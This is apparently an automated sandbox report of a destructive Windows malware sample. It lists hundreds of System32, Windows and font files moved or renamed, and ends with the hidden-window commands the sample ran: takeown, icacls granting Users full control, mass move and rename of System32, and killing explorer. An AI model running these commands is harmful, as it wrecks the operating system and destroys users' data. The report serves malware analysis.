- from <SYSTEM32>\mfc140fra.dll to C:\mfc140fra.dll
- from <SYSTEM32>\mfc120chs.dll to C:\mfc120chs.dll
- from <SYSTEM32>\mfc120cht.dll to C:\mfc120cht.dll
- from <SYSTEM32>\iccoinstall.dll to C:\iccoinstall.dll
- from <SYSTEM32>\d3dx10_34.dll to C:\d3dx10_34.dll
- from <SYSTEM32>\concrt140.dll to C:\concrt140.dll
- from <SYSTEM32>\concrt140d.dll to C:\concrt140d.dll
- from <SYSTEM32>\d3dcompiler_33.dll to C:\d3dcompiler_33.dll
- from <SYSTEM32>\d3dcompiler_34.dll to C:\d3dcompiler_34.dll
- from <SYSTEM32>\d3dcompiler_35.dll to C:\d3dcompiler_35.dll
- from <SYSTEM32>\d3dcompiler_36.dll to C:\d3dcompiler_36.dll
- from <SYSTEM32>\d3dcompiler_37.dll to C:\d3dcompiler_37.dll
- from <SYSTEM32>\d3dcompiler_38.dll to C:\d3dcompiler_38.dll
- from <SYSTEM32>\d3dcompiler_39.dll to C:\d3dcompiler_39.dll
- from <SYSTEM32>\d3dcompiler_40.dll to C:\d3dcompiler_40.dll
- from <SYSTEM32>\d3dcompiler_41.dll to C:\d3dcompiler_41.dll
- from <SYSTEM32>\d3dcompiler_42.dll to C:\d3dcompiler_42.dll
- from <SYSTEM32>\d3dcompiler_43.dll to C:\d3dcompiler_43.dll
- from <SYSTEM32>\d3dcsx_42.dll to C:\d3dcsx_42.dll
- from <SYSTEM32>\d3dcsx_43.dll to C:\d3dcsx_43.dll
- from <SYSTEM32>\circoinst.dll to C:\circoinst.dll
- from <SYSTEM32>\d3dx10.dll to C:\d3dx10.dll
- from <SYSTEM32>\brcoinst.dll to C:\brcoinst.dll
- from <SYSTEM32>\atl100.dll to C:\atl100.dll
- from %WINDIR%\directx.log to C:\directx.log
- from %WINDIR%\dtcinstall.log to C:\dtcinstall.log
- from %WINDIR%\enterprise.xml to C:\enterprise.xml
- from %WINDIR%\flash_sa.exe to C:\flash_sa.exe
- from %WINDIR%\msdfmap.ini to C:\msdfmap.ini
- from %WINDIR%\ntbtlog.txt to C:\ntbtlog.txt
- from %WINDIR%\pfro.log to C:\pfro.log
- from %WINDIR%\setupact.log to C:\setupact.log
- from %WINDIR%\setuperr.log to C:\setuperr.log
- from %WINDIR%\starter.xml to C:\starter.xml
- from %WINDIR%\system.ini to C:\system.ini
- from %WINDIR%\tssysprep.log to C:\tssysprep.log
- from %WINDIR%\win.ini to C:\win.ini
- from <SYSTEM32>\aspnet_counters.dll to C:\aspnet_counters.dll
- from %WINDIR%\windowsupdate.log to %WINDIR%update.log
- from <SYSTEM32>\atl110.dll to C:\atl110.dll
- from <SYSTEM32>\d3dx9_30.dll to C:\d3dx9_30.dll
- from <SYSTEM32>\fm20enu.dll to C:\fm20enu.dll
- from <SYSTEM32>\d3dx10_35.dll to C:\d3dx10_35.dll
- from <SYSTEM32>\d3dx9_33.dll to C:\d3dx9_33.dll
- from <SYSTEM32>\d3dx9_34.dll to C:\d3dx9_34.dll
- from <SYSTEM32>\d3dx9_35.dll to C:\d3dx9_35.dll
- from <SYSTEM32>\d3dx9_36.dll to C:\d3dx9_36.dll
- from <SYSTEM32>\d3dx9_37.dll to C:\d3dx9_37.dll
- from <SYSTEM32>\d3dx9_38.dll to C:\d3dx9_38.dll
- from <SYSTEM32>\d3dx9_39.dll to C:\d3dx9_39.dll
- from <SYSTEM32>\d3dx9_40.dll to C:\d3dx9_40.dll
- from <SYSTEM32>\d3dx9_41.dll to C:\d3dx9_41.dll
- from <SYSTEM32>\d3dx9_42.dll to C:\d3dx9_42.dll
- from <SYSTEM32>\d3dx9_43.dll to C:\d3dx9_43.dll
- from <SYSTEM32>\dmvscres.dll to C:\dmvscres.dll
- from <SYSTEM32>\dssec.dat to C:\dssec.dat
- from <SYSTEM32>\ff_vfw.dll to C:\ff_vfw.dll
- from <SYSTEM32>\fm20.dll to C:\fm20.dll
- from <SYSTEM32>\d3dx9_32.dll to C:\d3dx9_32.dll
- from <SYSTEM32>\fntcache.dat to C:\fntcache.dat
- from <SYSTEM32>\d3dx9_31.dll to C:\d3dx9_31.dll
- from <SYSTEM32>\d3dx9_29.dll to C:\d3dx9_29.dll
- from <SYSTEM32>\d3dx10_36.dll to C:\d3dx10_36.dll
- from <SYSTEM32>\d3dx10_37.dll to C:\d3dx10_37.dll
- from <SYSTEM32>\d3dx10_38.dll to C:\d3dx10_38.dll
- from <SYSTEM32>\d3dx10_39.dll to C:\d3dx10_39.dll
- from <SYSTEM32>\d3dx10_40.dll to C:\d3dx10_40.dll
- from <SYSTEM32>\d3dx10_41.dll to C:\d3dx10_41.dll
- from <SYSTEM32>\d3dx10_42.dll to C:\d3dx10_42.dll
- from <SYSTEM32>\d3dx10_43.dll to C:\d3dx10_43.dll
- from <SYSTEM32>\d3dx11_42.dll to C:\d3dx11_42.dll
- from <SYSTEM32>\d3dx11_43.dll to C:\d3dx11_43.dll
- from <SYSTEM32>\d3dx9_24.dll to C:\d3dx9_24.dll
- from <SYSTEM32>\d3dx9_25.dll to C:\d3dx9_25.dll
- from <SYSTEM32>\d3dx9_26.dll to C:\d3dx9_26.dll
- from <SYSTEM32>\d3dx9_27.dll to C:\d3dx9_27.dll
- from <SYSTEM32>\d3dx9_28.dll to C:\d3dx9_28.dll
- from <SYSTEM32>\d3dx10_33.dll to C:\d3dx10_33.dll
- from %WINDIR%\fonts\arialuni.ttf to %WINDIR%\fonts\arialuni.aa
- from %WINDIR%\fonts\david.ttf to %WINDIR%\fonts\david.aa
- from <SYSTEM32>\msvcp110_clr0400.dll to C:\msvcp110_clr0400.dll
- from <SYSTEM32>\ticrf.rat to <SYSTEM32>\ticrf.x
- from %WINDIR%\fonts\calibri.ttf to %WINDIR%\fonts\calibri.aa
- from %WINDIR%\fonts\calibrib.ttf to %WINDIR%\fonts\calibrib.aa
- from %WINDIR%\fonts\calibrii.ttf to %WINDIR%\fonts\calibrii.aa
- from %WINDIR%\fonts\calibriz.ttf to %WINDIR%\fonts\calibriz.aa
- from %WINDIR%\fonts\califb.ttf to %WINDIR%\fonts\califb.aa
- from %WINDIR%\fonts\califi.ttf to %WINDIR%\fonts\califi.aa
- from %WINDIR%\fonts\califr.ttf to %WINDIR%\fonts\califr.aa
- from %WINDIR%\fonts\calist.ttf to %WINDIR%\fonts\calist.aa
- from %WINDIR%\fonts\calistb.ttf to %WINDIR%\fonts\calistb.aa
- from %WINDIR%\fonts\calistbi.ttf to %WINDIR%\fonts\calistbi.aa
- from %WINDIR%\fonts\calisti.ttf to %WINDIR%\fonts\calisti.aa
- from %WINDIR%\fonts\cambria.ttc to %WINDIR%\fonts\cambria.aa
- from %WINDIR%\fonts\cambriab.ttf to %WINDIR%\fonts\cambriab.aa
- from %WINDIR%\fonts\cambriai.ttf to %WINDIR%\fonts\cambriai.aa
- from %WINDIR%\fonts\bssym7.ttf to %WINDIR%\fonts\bssym7.aa
- from %WINDIR%\fonts\cambriaz.ttf to %WINDIR%\fonts\cambriaz.aa
- from %WINDIR%\fonts\brushsci.ttf to %WINDIR%\fonts\brushsci.aa
- from %WINDIR%\fonts\browauz.ttf to %WINDIR%\fonts\browauz.aa
- from %WINDIR%\fonts\bookosb.ttf to %WINDIR%\fonts\bookosb.aa
- from %WINDIR%\fonts\bookosbi.ttf to %WINDIR%\fonts\bookosbi.aa
- from %WINDIR%\fonts\bookosi.ttf to %WINDIR%\fonts\bookosi.aa
- from %WINDIR%\fonts\bradhitc.ttf to %WINDIR%\fonts\bradhitc.aa
- from %WINDIR%\fonts\britanic.ttf to %WINDIR%\fonts\britanic.aa
- from %WINDIR%\fonts\brlnsb.ttf to %WINDIR%\fonts\brlnsb.aa
- from %WINDIR%\fonts\brlnsdb.ttf to %WINDIR%\fonts\brlnsdb.aa
- from %WINDIR%\fonts\brlnsr.ttf to %WINDIR%\fonts\brlnsr.aa
- from %WINDIR%\fonts\broadw.ttf to %WINDIR%\fonts\broadw.aa
- from %WINDIR%\fonts\browa.ttf to %WINDIR%\fonts\browa.aa
- from %WINDIR%\fonts\browab.ttf to %WINDIR%\fonts\browab.aa
- from %WINDIR%\fonts\browai.ttf to %WINDIR%\fonts\browai.aa
- from %WINDIR%\fonts\browau.ttf to %WINDIR%\fonts\browau.aa
- from %WINDIR%\fonts\browaub.ttf to %WINDIR%\fonts\browaub.aa
- from %WINDIR%\fonts\browaui.ttf to %WINDIR%\fonts\browaui.aa
- from %WINDIR%\fonts\browaz.ttf to %WINDIR%\fonts\browaz.aa
- from %WINDIR%\fonts\constanz.ttf to %WINDIR%\fonts\constanz.aa
- from <SYSTEM32>\msvcp110d.dll to C:\msvcp110d.dll
- from %WINDIR%\fonts\candarai.ttf to %WINDIR%\fonts\candarai.aa
- from %WINDIR%\fonts\coprgtl.ttf to %WINDIR%\fonts\coprgtl.aa
- from %WINDIR%\fonts\corbel.ttf to %WINDIR%\fonts\corbel.aa
- from %WINDIR%\fonts\corbelb.ttf to %WINDIR%\fonts\corbelb.aa
- from %WINDIR%\fonts\corbeli.ttf to %WINDIR%\fonts\corbeli.aa
- from %WINDIR%\fonts\corbelz.ttf to %WINDIR%\fonts\corbelz.aa
- from %WINDIR%\fonts\cordia.ttf to %WINDIR%\fonts\cordia.aa
- from %WINDIR%\fonts\cordiab.ttf to %WINDIR%\fonts\cordiab.aa
- from %WINDIR%\fonts\cordiai.ttf to %WINDIR%\fonts\cordiai.aa
- from %WINDIR%\fonts\cordiau.ttf to %WINDIR%\fonts\cordiau.aa
- from %WINDIR%\fonts\cordiaub.ttf to %WINDIR%\fonts\cordiaub.aa
- from %WINDIR%\fonts\cordiaui.ttf to %WINDIR%\fonts\cordiaui.aa
- from %WINDIR%\fonts\cordiauz.ttf to %WINDIR%\fonts\cordiauz.aa
- from %WINDIR%\fonts\cordiaz.ttf to %WINDIR%\fonts\cordiaz.aa
- from %WINDIR%\fonts\curlz___.ttf to %WINDIR%\fonts\curlz___.aa
- from %WINDIR%\fonts\daunpenh.ttf to %WINDIR%\fonts\daunpenh.aa
- from %WINDIR%\fonts\coprgtb.ttf to %WINDIR%\fonts\coprgtb.aa
- from %WINDIR%\fonts\bookos.ttf to %WINDIR%\fonts\bookos.aa
- from %WINDIR%\fonts\coopbl.ttf to %WINDIR%\fonts\coopbl.aa
- from %WINDIR%\fonts\constani.ttf to %WINDIR%\fonts\constani.aa
- from %WINDIR%\fonts\candaraz.ttf to %WINDIR%\fonts\candaraz.aa
- from %WINDIR%\fonts\castelar.ttf to %WINDIR%\fonts\castelar.aa
- from %WINDIR%\fonts\censcbk.ttf to %WINDIR%\fonts\censcbk.aa
- from %WINDIR%\fonts\centaur.ttf to %WINDIR%\fonts\centaur.aa
- from %WINDIR%\fonts\century.ttf to %WINDIR%\fonts\century.aa
- from %WINDIR%\fonts\chiller.ttf to %WINDIR%\fonts\chiller.aa
- from %WINDIR%\fonts\colonna.ttf to %WINDIR%\fonts\colonna.aa
- from %WINDIR%\fonts\comic.ttf to %WINDIR%\fonts\comic.aa
- from %WINDIR%\fonts\comicbd.ttf to %WINDIR%\fonts\comicbd.aa
- from %WINDIR%\fonts\consola.ttf to %WINDIR%\fonts\consola.aa
- from %WINDIR%\fonts\consolab.ttf to %WINDIR%\fonts\consolab.aa
- from %WINDIR%\fonts\consolai.ttf to %WINDIR%\fonts\consolai.aa
- from %WINDIR%\fonts\consolaz.ttf to %WINDIR%\fonts\consolaz.aa
- from %WINDIR%\fonts\constan.ttf to %WINDIR%\fonts\constan.aa
- from %WINDIR%\fonts\constanb.ttf to %WINDIR%\fonts\constanb.aa
- from %WINDIR%\fonts\candara.ttf to %WINDIR%\fonts\candara.aa
- from %WINDIR%\fonts\davidbd.ttf to %WINDIR%\fonts\davidbd.aa
- from %WINDIR%\fonts\bod_r.ttf to %WINDIR%\fonts\bod_r.aa
- from %WINDIR%\fonts\angsai.ttf to %WINDIR%\fonts\angsai.aa
- from <SYSTEM32>\noise.dat to C:\noise.dat
- from <SYSTEM32>\noise.kor to C:\noise.kor
- from <SYSTEM32>\noise.tha to C:\noise.tha
- from <SYSTEM32>\perfc009.dat to C:\perfc009.dat
- from <SYSTEM32>\perfd009.dat to C:\perfd009.dat
- from <SYSTEM32>\perfh009.dat to C:\perfh009.dat
- from <SYSTEM32>\perfi009.dat to C:\perfi009.dat
- from <SYSTEM32>\perfstringbackup.ini to C:\perfstringbackup.ini
- from <SYSTEM32>\richtx32.ocx to C:\richtx32.ocx
- from <SYSTEM32>\streamci.dll to <SYSTEM32>\streamci.x
- from %WINDIR%\fonts\agencyb.ttf to %WINDIR%\fonts\agencyb.aa
- from %WINDIR%\fonts\agencyr.ttf to %WINDIR%\fonts\agencyr.aa
- from %WINDIR%\fonts\ahronbd.ttf to %WINDIR%\fonts\ahronbd.aa
- from %WINDIR%\fonts\alger.ttf to %WINDIR%\fonts\alger.aa
- from %WINDIR%\fonts\andlso.ttf to %WINDIR%\fonts\andlso.aa
- from <SYSTEM32>\noise.cht to C:\noise.cht
- from %WINDIR%\fonts\angsa.ttf to %WINDIR%\fonts\angsa.aa
- from <SYSTEM32>\noise.chs to C:\noise.chs
- from <SYSTEM32>\msvcr90d.dll to C:\msvcr90d.dll
- from <SYSTEM32>\msvcp120.dll to C:\msvcp120.dll
- from <SYSTEM32>\msvcp120d.dll to C:\msvcp120d.dll
- from <SYSTEM32>\msvcp120_clr0400.dll to C:\msvcp120_clr0400.dll
- from <SYSTEM32>\msvcp140.dll to C:\msvcp140.dll
- from <SYSTEM32>\msvcp140d.dll to C:\msvcp140d.dll
- from <SYSTEM32>\msvcp90d.dll to C:\msvcp90d.dll
- from <SYSTEM32>\msvcr100.dll to C:\msvcr100.dll
- from <SYSTEM32>\msvcr100d.dll to C:\msvcr100d.dll
- from <SYSTEM32>\msvcr100_clr0400.dll to C:\msvcr100_clr0400.dll
- from <SYSTEM32>\msvcr110.dll to C:\msvcr110.dll
- from <SYSTEM32>\msvcr110d.dll to C:\msvcr110d.dll
- from <SYSTEM32>\msvcr110_clr0400.dll to C:\msvcr110_clr0400.dll
- from <SYSTEM32>\msvcr120.dll to C:\msvcr120.dll
- from <SYSTEM32>\msvcr120d.dll to C:\msvcr120d.dll
- from <SYSTEM32>\msvcr120_clr0400.dll to C:\msvcr120_clr0400.dll
- from <SYSTEM32>\network_llu.log to C:\network_llu.log
- from <SYSTEM32>\msvcp110.dll to C:\msvcp110.dll
- from %WINDIR%\fonts\bod_i.ttf to %WINDIR%\fonts\bod_i.aa
- from %WINDIR%\fonts\angsau.ttf to %WINDIR%\fonts\angsau.aa
- from %WINDIR%\fonts\baskvill.ttf to %WINDIR%\fonts\baskvill.aa
- from %WINDIR%\fonts\bauhs93.ttf to %WINDIR%\fonts\bauhs93.aa
- from %WINDIR%\fonts\bell.ttf to %WINDIR%\fonts\bell.aa
- from %WINDIR%\fonts\bellb.ttf to %WINDIR%\fonts\bellb.aa
- from %WINDIR%\fonts\belli.ttf to %WINDIR%\fonts\belli.aa
- from %WINDIR%\fonts\bernhc.ttf to %WINDIR%\fonts\bernhc.aa
- from %WINDIR%\fonts\bkant.ttf to %WINDIR%\fonts\bkant.aa
- from %WINDIR%\fonts\bod_b.ttf to %WINDIR%\fonts\bod_b.aa
- from %WINDIR%\fonts\bod_bi.ttf to %WINDIR%\fonts\bod_bi.aa
- from %WINDIR%\fonts\bod_blai.ttf to %WINDIR%\fonts\bod_blai.aa
- from %WINDIR%\fonts\bod_blar.ttf to %WINDIR%\fonts\bod_blar.aa
- from %WINDIR%\fonts\bod_cb.ttf to %WINDIR%\fonts\bod_cb.aa
- from %WINDIR%\fonts\bod_cbi.ttf to %WINDIR%\fonts\bod_cbi.aa
- from %WINDIR%\fonts\bod_ci.ttf to %WINDIR%\fonts\bod_ci.aa
- from %WINDIR%\fonts\bod_cr.ttf to %WINDIR%\fonts\bod_cr.aa
- from %WINDIR%\fonts\arlrdbd.ttf to %WINDIR%\fonts\arlrdbd.aa
- from %WINDIR%\fonts\bod_pstc.ttf to %WINDIR%\fonts\bod_pstc.aa
- from %WINDIR%\fonts\ariblk.ttf to %WINDIR%\fonts\ariblk.aa
- from %WINDIR%\fonts\arialni.ttf to %WINDIR%\fonts\arialni.aa
- from %WINDIR%\fonts\angsaub.ttf to %WINDIR%\fonts\angsaub.aa
- from %WINDIR%\fonts\angsaui.ttf to %WINDIR%\fonts\angsaui.aa
- from %WINDIR%\fonts\angsauz.ttf to %WINDIR%\fonts\angsauz.aa
- from %WINDIR%\fonts\angsaz.ttf to %WINDIR%\fonts\angsaz.aa
- from %WINDIR%\fonts\antquab.ttf to %WINDIR%\fonts\antquab.aa
- from %WINDIR%\fonts\antquabi.ttf to %WINDIR%\fonts\antquabi.aa
- from %WINDIR%\fonts\antquai.ttf to %WINDIR%\fonts\antquai.aa
- from %WINDIR%\fonts\aparaj.ttf to %WINDIR%\fonts\aparaj.aa
- from %WINDIR%\fonts\aparajb.ttf to %WINDIR%\fonts\aparajb.aa
- from %WINDIR%\fonts\aparajbi.ttf to %WINDIR%\fonts\aparajbi.aa
- from %WINDIR%\fonts\aparaji.ttf to %WINDIR%\fonts\aparaji.aa
- from %WINDIR%\fonts\arabtype.ttf to %WINDIR%\fonts\arabtype.aa
- from %WINDIR%\fonts\arialn.ttf to %WINDIR%\fonts\arialn.aa
- from %WINDIR%\fonts\arialnb.ttf to %WINDIR%\fonts\arialnb.aa
- from %WINDIR%\fonts\arialnbi.ttf to %WINDIR%\fonts\arialnbi.aa
- from %WINDIR%\fonts\angsab.ttf to %WINDIR%\fonts\angsab.aa
- from <SYSTEM32>\xvidvfw.dll to C:\xvidvfw.dll
- from <SYSTEM32>\ucrtbased.dll to <SYSTEM32>\ucrtbased.x
- ClassName: '' WindowName: ''
- '<SYSTEM32>\cmd.exe' /c takeown /f <SYSTEM32>\' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c icacls <SYSTEM32> /Grant Users:F' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c takeown /f %WINDIR%\' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c icacls %WINDIR%\ /Grant Users:F' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c takeown /f %WINDIR%\Fonts\' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c icacls %WINDIR%\Fonts /Grant Users:F' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c move <SYSTEM32>\*.* C:\' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c move %WINDIR%\* C:\' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ren <SYSTEM32>\*.* *.X' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ren %WINDIR%\Fonts\*.* *.AA' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im explorer.exe
- '<SYSTEM32>\cmd.exe' /c move %WINDIR%\* C:\
- '<SYSTEM32>\cmd.exe' /c move <SYSTEM32>\*.* C:\
- '<SYSTEM32>\takeown.exe' /f %WINDIR%\
- '<SYSTEM32>\takeown.exe' /f %WINDIR%\Fonts\
- '<SYSTEM32>\icacls.exe' %WINDIR%\ /Grant Users:F
- '<SYSTEM32>\takeown.exe' /f <SYSTEM32>\
- '<SYSTEM32>\cmd.exe' /c ren <SYSTEM32>\*.* *.X
- '<SYSTEM32>\icacls.exe' <SYSTEM32> /Grant Users:F
- '<SYSTEM32>\cmd.exe' /c icacls %WINDIR%\Fonts /Grant Users:F
- '<SYSTEM32>\cmd.exe' /c takeown /f %WINDIR%\Fonts\
- '<SYSTEM32>\cmd.exe' /c icacls %WINDIR%\ /Grant Users:F
- '<SYSTEM32>\cmd.exe' /c takeown /f %WINDIR%\
- '<SYSTEM32>\cmd.exe' /c icacls <SYSTEM32> /Grant Users:F
- '<SYSTEM32>\cmd.exe' /c takeown /f <SYSTEM32>\
- '<SYSTEM32>\icacls.exe' %WINDIR%\Fonts /Grant Users:F
- '<SYSTEM32>\cmd.exe' /c ren %WINDIR%\Fonts\*.* *.AA